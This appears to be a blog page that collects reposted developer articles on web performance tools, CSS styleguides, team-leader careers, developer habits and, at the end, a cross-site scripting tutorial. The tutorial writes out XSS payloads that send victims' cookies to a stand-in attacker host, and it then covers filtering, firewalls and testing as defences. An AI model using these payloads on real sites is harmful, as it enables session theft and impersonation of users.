Mind Tree

Response times, availability, and stability are vital factors to bear in mind when creating and maintaining a web application. If you’re concerned about your web pages’ speed or want to make sure you’re in tip-top shape before starting or launching a project, here’s a few useful, free tools to help you create and sustain high-performance web applications.

I’ve tried to include a wide variety of tools that are easy to use, and have tried to keep them as OS and technology-independent as possible so that everyone can find a tool or two.

1. YSlow for Firebug

YSlow grades a website’s performance based on the best practices for high performance web sites on the Yahoo! Developer Network. Each rule is given a letter grade (A through F) stating how you rank on certain aspects of front-end performance. It’s a simple tool for finding things you can work on such as reducing the number of HTTP request a web page makes, and compressing external JavaScript and CSS files. A worthwhile read is the Ajax performance analysis post on IBM developerWorks that outlines practical ways of using YSlow in your web applications.

2. Firebug

Firebug is an essential browser-based web development tool for debugging, testing, and analyzing web pages. It has a powerful set of utilities to help you understand and dissect what’s going on. One of the many notable features is the Net (network”) tab where you can inspect HTML, CSS, XHR, JS components.

3. Fiddler 2

Fiddler 2 is a browser-based HTTP debugging tool that helps you analyze incoming and outgoing traffic. It’s highly customizable and has countless of reporting and debugging features. Be sure to read the “Fiddler PowerToy – Part 2: HTTP Performance” guide on the MSDN which discusses functional uses of Fiddler including how to improve “first-visit” performance (i.e. unprimed cache), analyzing HTTP response headers, creating custom flags for potential performance problems and more.

4. Cuzillion

Cuzillion is a cool tool to help you see how page components interact with each other. The goal here is to help you quickly rapidly check, test, and modify web pages before you finalize the structure. It can give you clues on potential trouble-spots or points of improvements. Cuzillion was created by Steve Saunders, the ex-Chief Performance at Yahoo!, a leading engineer for the development of Yahoo’s performance best practices, and creator of YSlow.

5. mon.itor.us

monitor.us is a free web-based service that grants you a suite of tools for monitoring performance, availability, and traffic statistics. You can establish your website’s response time and set up alerts for when a service becomes unavailable. You can also set-up weekly, automated benchmarks to see if changes you’ve made impact speed and performance either positively or negatively.

6. IBM Page Detailer

The IBM Page Detailer is a straightforward tool for letting you visualize web components as they’re being downloaded. It latches onto your browser, so all you have to do is navigate to the desired site with the IBM Page Detailer open. Clicking on a web page component opens a window with the relevant details associated with it. Whenever an event occurs (such as a script being executed), the tool opens a window with information about the processes.

7. Httperf

Httperf is an open-source tool for measuring HTTP server performance running on Linux. It’s an effective tool for benchmarking and creating workload simulations to see if you can handle high-level traffic and still maintain stability. You can also use it to figure out the maximum capacity of your server, gradually increasing the number of requests you make to test its threshold.

8. Pylot

Pylot is an open-source performance and scalability testing tool. It uses HTTP load tests so that you can plan, benchmark, analyze and tweak performance. Pylot requires that you have Python installed on the server – but you don’t need to know the language, you use XML to create your testing scenarios.

9. PushToTest TestMaker

PushToTest TestMaker is a free, open-source platform for testing scalability and performance of applications. It has an intuitive graphical user interface with visual reporting and analytical tools. It has a Resource Monitor feature to help you see CPU, memory, and network utilization during testing. The reporting features let you generate graphs or export data into a spreadsheet application for record-keeping or further statistics analysis.

10. Wbox HTTP testing tool

Wbox is a simple, free HTTP testing software released under the GPL (v2). It supports Linux, Windows, and MacOS X systems. It works by making sequential requests at desired intervals for stress-testing. It has an HTTP compression command so that you can analyze data about your server’s file compression. If you’ve just set up a virtual domain, Wbox HTTP testing tool also comes with a command for you to test if everything’s in order before deployment.

11. WebLOAD

WebLOAD is an open-source, professional grade stress/load testing suite for web applications. WebLOAD allows testers to perform scripts for load testing using JavaScript. It can gather live data for monitoring, recording, and analysis purposes, using client-side data to analyze performance. It’s not just a performance tool – it comes with authoring and debugging features built in.

12. DBMonster

DBMonster is an open-source application to help you tune database structures and table indexes, as well as conduct tests to determine performance under high database load. It’ll help you see how well your database/s will scale by using automated generation of test data. It supports many databases such as MySQL, PostgreSQL, Oracle, MSSQL and (probably) any database that supports the JDBC driver.

13. OctaGate SiteTimer

The OctaGate SiteTimer is a simple utility for determining the time it takes to download everything on a web page. It gives you a visualization of the duration of each state during the download process (initial request, connection, start of download, and end of download).

14. Web Page Analyzer

The Web Page Analyzer is an extremely simple, web-based test to help you gain information on web page performance. It gives you data about the total number of HTTP requests, total page weight, your objects’ sizes, and more. It tries to estimate the download time of your web page on different internet connections and it also enumerates each page object for you. At the end, it provides you with an analysis and recommendation of the web page tested – use your own judgment in interpreting the information.

15. Site-Perf.com

Site-Perf.com is a free web-based service that gives you information about your site’s loading speed. With Site-Perf.com’s tool, you get real-time capturing of data. It can help you spot bottlenecks, find page errors, gather server data, and more – all without having to install an application or register for an account.

More Tools and Related Resources

• Apache JMetera Java-based desktop application for performance testing Apache servers.
• The Grinderan open-source load testing framework that intends to make automated tests simpler.
• OpenWebLoad yet another excellent open-source load testing tool for web applications.
• “Optimizing Page Load Time”an article on improving page load time.
• “What the 80/20 Rule Tells Us about Reducing HTTP Requests”a blog post on the YUI blog explaining the precedence of front-end performance for optimal response times.

If you have a favorite web performance tool that wasn’t on the list, share it in the comments. Would also like to hear your experiences, tips, suggestions, and resources you use.

Courtesy: sixrevisions

• Leave a comment... (1)

Once your latest project is finished, you are very likely to forget the structure of the project’s layout, with all its numerous classes, color schemes and type setting. To understand your code years after you’ve written it you need to make use of sensible code structuring. The latter can dramatically reduce complexity, improve code management and consequently simplify maintainability. However, how can you achieve sensible structuring? Well, there are a number of options. For instance, you can make use of comments — after all, there is always some area for useful hints, notes and, well, comments you can use afterwards, after the project has been deployed.

Indeed, developers came up with quite creative ways to use comments and text formatting to improve the maintainability of CSS-code. Such creative ways are usually combined into CSS styleguides — pieces of CSS-code which are supposed to provide developers with useful insights into the structure of the code and background information related to it.

This article presents 5 coding techniques which can dramatically improve management and simplify maintainability of your code. You can apply them to CSS, but also to any other stylesheet or programming language you are using.

1. Divide and conquer your code

First consider the structure of your layout and identify the most important modules in your CSS-code. In most cases it’s useful to choose the order of CSS-selectors according to the order of divisors (div’s) and classes in your layout. Before starting coding, group common elements in separate sections and title each group. For instance, you can select Global Styles (body, paragraphs, lists, etc), Layout, Headings, Text Styles, Navigation, Forms, Comments and Extras.

To clearly separate fragments of code, select appropriate flags or striking comments (the more *-symbols you have in your code, the more striking a heading is). In the stylesheet they will serve as a heading for each group. Before applying a preferred flag to your code, make sure you can immediately recognize single blocks when scanning through the code.

However, this approach might not be enough for large projects where a single module is too big. If it is the case, you might need to divide your code in multiple files to maintain overview of single groups of code fragments. In such situations master stylesheet is used to import groups. Using master-stylesheet you generate some unnecessary server requests, but the approach produces a clean and elegant code which is easy to reuse, easy to understand and also easy to maintain. And you also need to include only the master-file in your documents.

/*——————————————————————
[Master Stylesheet]

Project:    Smashing Magazine
Version:    1.1
Last change:    05/02/08 [fixed Float bug, vf]
Assigned to:    Vitaly Friedman (vf), Sven Lennartz (sl)
Primary use:    Magazine
——————————————————————-*/
@import "reset.css";
@import "layout.css";
@import "colors.css";
@import "typography.css";
@import "flash.css";
/* @import "debugging.css"; */

For large projects or large development team it is also useful to have a brief update log and some additional information about the project — e.g. you can put the information about who is this CSS-file assigned to and what is its primary use (e.g. Smashing Magazine, Smashing Jobs etc.).

Additionally, you can include a debugging CSS-code to take care of diagnostic styling in case you run in some problems. Consider using Eric Meyer’s Diagnostic Styling as a debugging stylesheet to test your CSS-code and fix problems.

2. Define a table of contents

To keep an overview of the structure of your code, you might want to consider defining a table of contents in the beginning of your CSS-files. One possibility of integrating a table of contents is to display a tree overview of your layout with IDs and classes used in each branch of the tree. You may want to use some keywords such as header-section or content-group to be able to jump to specific code immediately.

You may also select some important elements you are likely to change frequently — after the project is released. These classes and IDs may also appear in your table of contents, so once you’ll need to find them you’ll find them immediately — without scanning your whole code or remembering what class or ID you once used.

/*——————————————————————
[Layout]

* body
    + Header / #header
    + Content / #content
        – Left column / #leftcolumn
        – Right column / #rightcolumn
        – Sidebar / #sidebar
            – RSS / #rss
            – Search / #search
            – Boxes / .box
            – Sideblog / #sideblog
    + Footer / #footer

Navigation      #navbar
Advertisements      .ads
Content header      h2
——————————————————————-*/

…or like this:

/*——————————————————————
[Table of contents]

1. Body
    2. Header / #header
        2.1. Navigation / #navbar
    3. Content / #content
        3.1. Left column / #leftcolumn
        3.2. Right column / #rightcolumn
        3.3. Sidebar / #sidebar
            3.3.1. RSS / #rss
            3.3.2. Search / #search
            3.3.3. Boxes / .box
            3.3.4. Sideblog / #sideblog
            3.3.5. Advertisements / .ads
    4. Footer / #footer
——————————————————————-*/

Another approach is to use simple enumeration without indentation. In the exampe below, once you need to jump to the RSS-section you simply use a search tool to find 8. RSS in your code. That’s easy, quick and effective.

/*——————————————————————
[Table of contents]

1. Body
2. Header / #header
3. Navigation / #navbar
4. Content / #content
5. Left column / #leftcolumn
6. Right column / #rightcolumn
7. Sidebar / #sidebar
8. RSS / #rss
9. Search / #search
10. Boxes / .box
11. Sideblog / #sideblog
12. Advertisements / .ads
13. Footer / #footer
——————————————————————-*/
<!– some CSS-code –>

/*——————————————————————
[8. RSS / #rss]
*/
#rss { … }
#rss img { … }

Defining a table of contents you make it particularly easier for other people to read and understand your code. For large projects you may also print it out and have it in front of you when reading the code. When working in team, this advantage shouldn’t be underestimated. It can save a lot of time — for you and your colleagues.

3. Define your colors and typography

Since we don’t have CSS constants yet, we need to figure out some way to get a quick reference of “variables” we are using. In web development colors and typography can often be considered as “constants” — fixed values that are used throughout the code multiple times.

As Rachel Andrew states, “one way to get round the lack of constants in CSS is to create some definitions at the top of your CSS file in comments, to define constants. A common use for this is to create a color glossary. This means that you have a quick reference to the colors used in the site to avoid using alternates by mistake and, if you need to change the colors, you have a quick list to go down and do a search and replace.”

/*——————————————————————
# [Color codes]

# Dark grey (text): #333333
# Dark Blue (headings, links) #000066
# Mid Blue (header) #333399
# Light blue (top navigation) #CCCCFF
# Mid grey: #666666
# */

Alternatively, you can also describe color codes used in your layout. For a given color, you can display sections of your site which are using this color. Or vice versa — for a given design element you can describe the colors which are used there.

/*——————————————————————
[Color codes]

Background:    #ffffff (white)
Content:    #1e1e1e (light black)
Header h1:    #9caa3b (green)
Header h2:    #ee4117 (red)
Footer:        #b5cede (dark black)

a (standard):    #0040b6 (dark blue)
a (visited):    #5999de (light blue)
a (active):    #cc0000 (pink)
——————————————————————-*/

The same holds for typography. You can also add some important notes to understand the “system” behind your definitions.

/*——————————————————————
[Typography]

Body copy:        1.2em/1.6em Verdana, Helvetica, Arial, Geneva, sans-serif;
Headers:        2.7em/1.3em Helvetica, Arial, "Lucida Sans Unicode", Verdana, sans-serif;
Input, textarea:    1.1em Helvetica, Verdana, Geneva, Arial, sans-serif;
Sidebar heading:    1.5em Helvetica, Trebuchet MS, Arial, sans-serif;

Notes:    decreasing heading by 0.4em with every subsequent heading level
——————————————————————-*/

4. Order CSS properties

When writing the code often it’s useful to apply some special formatting to order CSS properties — to make the code more readable, more structured and therefore more intuitive. There is a variety of grouping schemes developers use in their projects. Some developers tend to put colors and fonts first; other developers prefer to put “more important” assignments such as those related to positioning and floats first. Similarly, elements are also often sorted according to the topology of the site and the structure of the layout. This approach can be applied to CSS selectors as well:

    body,
    h1, h2, h3,
    p, ul, li,
    form {
        border: 0;
        margin: 0;
        padding: 0;
    }

Some developers use a more interesting approach — they group properties in an alphabetical order. Here it’s important to mention that alphabetizing CSS properties may lead to some problems in some browsers. You may need to make sure that no changes are produced as a result of your ordering manipulations.

body {
    background: #fdfdfd;
    color: #333;
    font-size: 1em;
    line-height: 1.4;
    margin: 0;
    padding: 0;
}

Whatever grouping format you are using, make sure you clearly define the format and the objective you want to achieve. Your colleagues will thank you for your efforts. And you’ll thank them for sticking to your format.

5. Indentation is your friend!

For better overview of your code you might consider using one-liners for brief fragments of code. This style might produce messy results if you define more than 3 attributes for a given selector. However, used moderately, you can highlight dependencies between all elements of the same class. This technique will dramatically increase code readability when you have to find some specific element in your stylesheet.

#main-column { display: inline; float: left; width: 30em; }
        #main-column h1 { font-family: Georgia, "Times New Roman", Times, serif; margin-bottom: 20px; }
        #main-column p { color: #333; }

You remember exactly what you did and can jump back in there and fix it. But what if you made a lot of changes that day, or you just simply can’t remember? Chris Coyier suggests an interesting solution for highlighting recent changes in your CSS-code. Simply indenting new or changed lines in your CSS you can make recent changes in your code more visible. You can as well use some comments keywords (e.g. @new) — you’ll be able to jump to the occurrences of the keyword and undo changes once you’ve found some problems.

#sidebar ul li a {
     display: block;
     background-color: #ccc;
          border-bottom: 1px solid #999; /* @new */
     margin: 3px 0 3px 0;
          padding: 3px; /* @new */
}

Conclusion

CSS styleguides are helpful if and only if they are used properly. Keep in mind that you should remove every styleguide which doesn’t effectively help you to get a better understanding of the code or achieve a well-structured code. Avoid too many styleguides for too many elements bundled in too many groups. Your goal is to achieve a readable and maintainable code. Stick to it and you’ll save yourself a lot of trouble.

• Leave a comment... (0)

I’d like to become a Development Team Leader

Hopefully most will have actually considered the change of role and be looking for new challenges and ways to contribute more to their chosen profession. However, for some this is an automatic response to a question that is particularly difficult to answer in an industry with no clear career path. For others it’s simply a way to move up the pay scale.

Before you start talking to your manager or applying for your next job it’s worth considering what you’re getting yourself into. Depending on where you work there will be different definitions of a Development Team Leader (DTL). To put this post in perspective this is my interpretation,

A Development Team Leader is someone who owns the technical delivery of a solution. They need to understand the business drivers behind the project and be able to lead a team of Developers to realise these drivers in working software.They are (IMHO) the central player in a project team and need to maintain excellent communication with all members of the team from Client to Developers and everyone in between.

I tend to distinguish between what I call a Senior Developer (SD) and a DTL. A SD is someone who still does the tasks of a developer but does them really well and has lots of experience. They don’t tend to have the added responsibilities of a DTL. DTL’s often (but not necessarily) have a SD background.

Assuming you’re a developer this is what I reckon your job entails.

Let’s face it the life of your average developer is focused around cutting code. Sure you might have daily Scrums or other team meetings to attend but your main focus is writing software. And you love it!

When you become a DTL you work balance is up for a bit of a change.

Other than the coding slice don’t place to much attention on the relative weights of the pie slices – suffice to say you won’t be zoning out for 8 hours a day to your favourite tunes – you’re the one that gets interrupted, you’re the one putting out the fires and making sure the wheels are oiled. Your head is on the line if the solution doesn’t meet expectations or is delivered late. You have some responsibilities and influence now.

Coding – don’t worry, you still get to practice your craft but just not as much as you used to. There are now lots of other things that you need to be involved in too.
Documentation – even with the increasing popularity of Agile methodologies and a move away from excessive documentation there are still times when (technical) documentation is necessary – and guess what? You will be first in line to do it.
Meetings – if you thought you were in lots of meetings as a developer then you ain’t seen nothing yet. Depending on the size of the project you are involved in you will be the main participant in a wide variety of meetings. Whether it’s a meeting with the client, the delivery team, the PM, you are the one with the most knowledge of both the requirements and the implementation of the solution.
Communications – beyond official meetings you will also be heavily involved with communicating to others via emails, issue tracking software, the phone and face to face catch ups on progress. It’s a bit of a cliche but good communication skills really are the key to succeeding in many professions – and for any leadership role it’s essential.
Delegation – because of your other duties it’s an essential part of your role to be able to delegate work to others. Someone once told me that the job of the DTL is to make themselves redundant – an apparent contradiction to your pivotal role on the project but one that sums up the responsibility you have to ensure the project moves forward even when you can’t personally be there to solve an issue. The more you delegate responsibility to others in your team the more involved and productive they become. Don’t try and do everything yourself.
Mentoring – part of reason for delegating tasks to others is to provide them with opportunities for personal growth and development. Mentoring carries this idea further and is a key part of your role. No-one is an island and you must be prepared to share your knowledge with others. As an aside you should also be prepared to learn from your team – DTL’s who think they know it all are usually wrong and always disruptive to the morale and effectiveness of the team.

How to Become a Development Team Leader?

As Development Manager to a team of incredibly motivated and talented individuals I often have conversations that begin,

    Hey Tokes, I really want to move my career to the next step and want to know what I can do to become a Development Team Leader.

My response,

    Act like one!

That’s right, it’s that simple. Wherever possible take it upon yourself to assume some of the tasks that would normally be expected of a DTL. The more DTL skills you display the more likely others will see you in that light and give you the opportunity to perform the role for real. Whatever you do, don’t sit quietly behind your desk with the headphones on and expect someone to recognise your leadership potential and tap you on the shoulder – it won’t happen. Similarly don’t assume that because you’re a technical genius that becoming a DTL is the natural next step in your career or something you deserve in recognition of your talents. The skills of a DTL go beyond the technical and require you to have other skills like great communication, the ability to delegate, confidence, being level headed, acting in a professionalism manner…

So what can you do I hear you ask? You’re only a developer, right? Wrong, the act of developing is only part of what you have to offer.

Let it Be Known – it seems obvious but you should let your manager/PM/peers or anyone else who will listen that you want to become a DTL. Don’t be a nag about it but just plant the seed in people’s minds.

Understand the Big Picture - one of the big differences between a good developer and a great one is their ability (or interest) to understand the big picture. They understand the business goals and pain points the system is addressing. They understand the entire solution, not just their part of it. They understand how the code they are writing benefits the client and the solution as a whole. They understand the client and what is important to them. They understand that the code is a means to an end and that project success will be primarily measured by client satisfaction.

Ask Questions – I love working with people who ask questions. It shows you are attempting to understand things thoroughly. It shows you’re not afraid to question why something is being done in a certain way. It show’s, that as a DTL, I’m not the only one thinking things through and that there’s more chance the team is on the right track. Understanding the Big Picture is crucial to being able to ask the right questions.

Don’t Wait to Be Asked – while you should always be on top of the tasks delegated to you, don’t stop there. Be hungry like a wolf, hunting out ways in which you can add value, help others and identify issues. Do not wait for your own DTL to ask you to do something, try and always be one step ahead without, of course, second guessing their authority.

Be Approachable – DTL’s are often the go-to guys (or gals) but they’re also pulled away from the team to attend meetings etc. Be approachable (i.e. take off the headphones now and then!) and aim to be the one people seek out when the DTL’s away – this is a great sign that you have the respect of the team. If you’re doing the things above this will be a natural consequence and shouldn’t require you to do anything specific.

Stay Calm – what was it that Mr Kipling said? "If you can keep your head when all about you Are losing theirs… you’ll be a DTL my son!". Software development can be a stressful business. Look around at DTL’s you respect – guaranteed they will be the level headed ones, the ones that don’t let the pressure get the better of them (or at least are good at hiding it!)

• Leave a comment... (0)

Shouldn’t we all be performing at the same level? Of course not, we’re not sewing buttons on an assembly line. We’re using every bit of our intelligence to create something that we can only begin to understand.

    * I think logically. Computers don’t care how you feel, and your opinion doesn’t matter. All that matters is if you write your code exactly the way the computer dictates.
    * I constantly look for better ways of doing things. I subscribe to a good number of development blogs. I alone cannot always come up with the best way to solve a problem, but somebody somewhere probably can.
    * I read books. Joel says that most programmers have stopped reading books. What a shame. Blogs are great for snippets, but it’s rare that they cover a topic well from start to finish. Blogs are the ADD version of books.
    * I don’t stop thinking about problems and how to solve them through automation. Sometimes I’ll wake up in the middle of the night, and I can’t get back to sleep until I write some code that I can’t get out of my head.
    * I have side projects that I think are interesting, and give me a chance to try things that I might not want to try on my production code at work. Yes, my side projects distract me at work, but the knowledge I gain pays back the time I lost.
    * I have a tech blog. I suggest all developers start a blog and give back to the community. If you solve a problem, we want to hear about it! At the very least, it will give you an opportunity to formalize your ideas, which will either reinforce them, or make you realize you were wrong. You might also get some great feedback.
    * I try to prove myself wrong (aka objective). Everyone wants to be right. I try to prove myself wrong when appropriate. One of the hardest things in the world for a developer to do is say that the code they just spent a week writing is useless. Maybe it is, don’t fight it, work with it.
    * I keep up with the latest technologies, and force myself to try them.
    * I have a relatively good understanding of how the computer hardware and software works. I’ve met too many developers that barely know how to turn on a computer.
    * I’m great at writing Google queries.
    * I’m not just in it for the money. I actually enjoy what I do. I had a job interview where the guy that would have been my boss told me a story about how he was brought in off the street and thrown into managing their software projects. When the software industry starts getting rough, who do you think is the first person to go?
    * I’m sympathetic to the users pain. If I can share their pain, I’ll want to fix it and prevent it.
    * I realize my code will never be perfect, so I try to make it testable and modular. I set up processes that try to minimize the effect of my human error.
    * I don’t think Microsoft is evil, and I don’t think they’re a saint. They’re a big company. Some of the stuff they write is crap, some is amazing. The same is true for any other company out there.
    * I learn from my mistakes. I try to put at least 2 checks in place to avoid any past mistakes. If one check fails, I’ll have the other.
    * When I’m asked to solve a problem, I think above the problem, and determine if it’s a problem that even needs solved.

• Leave a comment... (0)

Cross-site scripting (XSS for short) is one of the most common application-level attacks that hackers use to sneak into Web applications. XSS is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Most attacks involve two parties: either the attacker and the Web site or the attacker and the client victim. Unlike those, the XSS attack involves three parties: the attacker, the client, and the Web site.

The goal of the XSS attack is to steal the client cookies or any other sensitive information that can identify the client with the Web site. With the token of the legitimate user in hand, the attacker can proceed to act as the user in interaction with the site, thus to impersonate the user. For example, in one audit conducted for a large company, it was possible to peek at the user’s credit card number and private information by using an XSS attack. This was achieved by running malicious JavaScript code on the victim (client) browser, with the access privileges of the Web site. These are the very limited JavaScript privileges that generally do not let the script access anything but site-related information. It is important to stress that, although the vulnerability exists at the Web site, at no time is the Web site directly harmed. Yet this is enough for the script to collect the cookies and send them to the attacker. As a result, the attacker gets the cookies and impersonates the victim.

Explanation of the XSS technique

Let’s call the site under attack: www.vulnerable.site. At the core of a traditional XSS attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it (thus not making sure that it doesn’t contain JavaScript code nor HTML tags. Suppose, therefore, that this script is named welcome.cgi, and its parameter is name. It can be operated this way:

  GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
  Host: www.vulnerable.site
   
The response would be:

  <HTML>
  <Title>Welcome!</Title>
  Hi Joe Hacker <BR>
  Welcome to our system
  …
  </HTML>

How can this be abused? Well, the attacker manages to lure the victim client into clicking a link that the attacker supplies to the user. This is a carefully and maliciously crafted link that causes the Web browser of the victim to access the site (www.vulnerable.site) and invoke the vulnerable script. The data to the script consists of JavaScript that accesses the cookies that the client browser has stored for www.vulnerable.site. This is allowed because the client browser "experiences" the JavaScript coming from www.vulnerable.site, and JavaScript security model allows scripts arriving from a particular site to access cookies that belong to that site.

Such a link looks like this one:

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
 
The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:

  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
  Host: www.vulnerable.site …

The vulnerable site response would be:

  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
  <BR> Welcome to our system …
  </HTML>
 
The victim client’s browser would interpret this response as an HTML page containing a piece of JavaScript code. This code, when executed, is allowed to access all cookies belonging to www.vulnerable.site. Therefore, it will pop up a window at the client browser showing all client cookies belonging to www.vulnerable.site.

Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a Web site (www.attacker.site) and use a script to receive the cookies. Instead of popping up a window, the attacker would write code that accesses a URL at www.attacker.site, thereby invoking the cookie-reception script, with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server.

The malicious link would be:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
  .cgi?cookie="%2Bdocument.cookie)</script>
     
And the response page would look like:

  <HTML> <Title>Welcome!</Title> Hi
  <script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
  <BR>
  Welcome to our system … </HTML>
   
The browser, immediately upon loading this page, would execute the embedded JavaScript and send a request to the collect.cgi script in www.attacker.site, with the value of the cookies of www.vulnerable.site that the browser already has. This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached.

Note:
Causing the JavaScript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to an XSS attack. If the JavaScript Alert function can be called, there is usually no reason for the window.open call not to succeed. That is why most examples for XSS attacks use the Alert function, which makes it very easy to detect its success.

Scope and feasibility

The attack can take place only at the victim’s browser, the same one used to access the site (www.vulnerable.site). The attacker needs to force the client to access the malicious link. This can happen in these ways:

    * The attacker sends an e-mail message containing an HTML page that forces the browser to access the link. This requires the victim to use the HTML-enabled e-mail client, and the HTML viewer at the client is the same browser that is used for accessing www.vulnerable.site.

    * The client visits a site, perhaps operated by the attacker, where a link to an image or otherwise-active HTML forces the browser to access the link. Again, it is mandatory that the same browser be used for accessing both this site and www.vulnerable.site.

The malicious JavaScript can access any of this information:

    * Permanent cookies (of www.vulnerable.site) maintained by the browser
    * RAM cookies (of www.vulnerable.site) maintained by this instance of the browser, only when it is currently browsing www.vulnerable.site
    * Names of other windows opened for www.vulnerable.site
    * Any information that is accessible through the current DOM (from values, HTML code, and so forth)

Identification, authentication, and authorization tokens are usually maintained as cookies. If these cookies are permanent, the victim is vulnerable to the attack even when not using the browser at the moment to access www.vulnerable.site. If, however, the cookies are temporary, such as RAM cookies, then the client must be in session with www.vulnerable.site.

Anther possible implementation for an identification token is a URL parameter. In such cases, it is possible to access other windows by using JavaScript in this way (assuming that the name of the page with the necessary URL parameters is foobar):

<script>var victim_window=open(",’foobar’);alert(’Can access:
‘ +victim_window.location.search)</script>
 
Variations on this theme

It is possible to use many HTML tags, beside <SCRIPT> to run the JavaScript. In fact, it is also possible for the malicious JavaScript code to reside on another server and to force the client to download the script and execute it, which can be useful if a lot of code is to be run or when the code contains special characters.

A couple of variations on these possibilities:

    * Rather than <script>…</script>, hackers can use <img src="javascript:…">. This is good for sites that filter the <script> HTML tag.

    * Rather than <script>…</script>, it is possible to use <script src="http://…">. This is good for a situation where the JavaScript code is too long or when it contains forbidden characters.

Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to "escape" to the free context, and then to append the XSS attack. For example, if the data is injected as a default value of an HTML form field:

…
<input type=text name=user value="…">
…

Then it is necessary to include "> in the beginning of the data to ensure escaping to the free HTML context. The data would be:

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>

And the resulting HTML would be:

…
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
…

Other ways to perform traditional XSS attacks

So far, we have seen that an XSS attack can take place in a parameter of a GET request that is echoed back to the response by a script. But it is also possible to carry out the attack with a POST request or by using the path component of the HTTP request — and even by using some HTTP headers (such as the Referer).

In particular, the path component is useful when an error page returns the erroneous path. In this case, including the malicious script in the path will often execute it. Many Web servers are found vulnerable to this attack.

What went wrong?

It is important to understand that, although the Web site is not directly affected by this attack (it continues to function normally, malicious code is not executed on the site, no DoS condition occurs, and data is not directly manipulated nor read from the site), it is still a flaw in the privacy that the site offers its visitors, or clients. This is just like a site deploying an application with weak security tokens, whereby an attacker can guess the security token of a client and impersonate him or her.

The weak spot in the application is the script that echoes back its parameter, regardless of its value. A good script makes sure that the parameter is of a proper format, contains reasonable characters, and so on. There is usually no good reason for a valid parameter to include HTML tags or JavaScript code, and these should be removed from the parameter before it is embedded in the response or before processing it in the application, to be on the safe side.

How to secure a site against XSS attacks

It is possible to secure a site against an XSS attack in three ways:

   1. By performing in-house input filtering (sometimes called input sanitation). For each user input — be it a parameter or an HTTP header — in each script written in-house, advanced filtering against HTML tags, including JavaScript code, should be applied. For example, the welcome.cgi script from the previous case study should filter the <script> tag after it is through decoding the name parameter. This method has some severe downsides, though:
          * It requires the application programmer to be well-versed in security.
          * It requires the programmer to cover all possible input sources (query parameters, body parameters of POST requests, HTTP headers).
          * It cannot defend against vulnerabilities in third-party scripts or servers. For example, it won’t defend against problems in error pages in Web servers (which display the path of the resource).

   2. By performing "output filtering," that is, filtering the user data when it is sent back to the browser, rather than when it is received by a script. A good example for this would be a script that inserts the input data to a database and then presents it. In this case, it is important not to apply the filter to the original input string, but only to the output version. The drawbacks are similar to the ones for input filtering.

   3. By installing a third-party application firewall, which intercepts XSS attacks before they reach the Web server and the vulnerable scripts, and blocks them. Application firewalls can cover all input methods in a generic way (including path and HTTP headers), regardless of the script or path from the in-house application, a third-party script, or a script describing no resource at all (for example, one designed to provoke a 404 page response from the server). For each input source, the application firewall inspects the data against various HTML tag patterns and JavaScript patterns. If any match, the request is rejected, and the malicious input does not arrive at the server.

Ways to check whether your site is protected from XSS

Checking that a site is secure from XSS attacks is the logical conclusion of securing the site. Just like securing a site against XSS, checking that the site is indeed secure can be done manually (the hard way) or by using an automated Web application vulnerability-assessment tool, which offloads the burden of checking. The tool crawls the site and then launches all the variants that it knows against all of the scripts that it found by trying the parameters, the headers, and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations as possible, and if the response page contains the JavaScript code in a context where the browser can execute it, then an XSS vulnerability is exposed. For example, sending this text:

<script>alert(document.cookie)</script>

to each parameter of each script (through a JavaScript-enabled browser to reveal an XSS vulnerability of the simplest kind) the browser will pop up the JavaScript Alert window if the text is interpreted as JavaScript code. Of course, there are several variants; therefore, testing only that variant is insufficient. And, as you already learned, it is possible to inject JavaScript into various fields of the request: the parameters, the HTTP headers, and the path. However, in some cases (notably the HTTP Referer header), it is awkward to carry out the attack by using a browser.

Summary

Cross-site scripting is one of the most common application-level attacks that hackers use to sneak into Web applications, as well as one of the most dangerous. It is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Unfortunately, as this article explains, this is often done without the knowledge of either the client or the organization being attacked.

To prevent Web sites being vulnerable to these malicious acts, it is critical that an organization implement both an online and offline security strategy. This includes using an automated vulnerability-assessment tool that can test for all of the common Web vulnerabilities and application-specific vulnerabilities (such as cross-site scripting) on a site. For a full online defense, it is also vital to install a firewall application that can detect and defend against any type of manipulation to the code and content sitting on and behind the Web servers.

• Leave a comment... (0)